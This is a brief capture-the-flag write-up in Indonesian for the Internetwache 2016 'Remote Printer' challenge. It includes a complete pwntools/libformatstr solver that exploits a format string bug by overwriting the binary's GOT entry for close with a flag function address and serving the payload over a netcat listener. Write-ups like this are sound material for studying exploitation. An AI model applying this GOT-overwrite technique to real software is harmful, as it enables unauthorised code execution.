Internetwache 2016 - Remote Printer (80 Points)
Masalah
Diberikan binary remote printer, eksploitasi server korban dan temukan informasi rahasia didalamnya!
Penyelesaian
Binary ini memiliki kelemahan format string yang bisa dieksploitasi dengan libformatstr.
Gunakan solver.py sebagai attacker server.
import os
import time
from libformatstr import *
from pwn import *
N = 32
velf = ELF("./RemotePrinter")
flag = 0x08048867
b = FormatStr(N)
b[velf.got["close"]] = flag
with open("./payload", "w") as f:
f.write(b.payload(7, 0))
f.write('\n')
os.system('cat payload | nc -nvlp 51998')
$ python solver.py
Kemudian hubungkan klien remote printer ke server yang diinginkan, misalkan 127.0.0.1:51998 dan simpan dalam berkas option.
127.0.0.1
51998
Maka server korban bisa dieksploitasi saat menjalankan perintah ini:
./RemotePrinter < options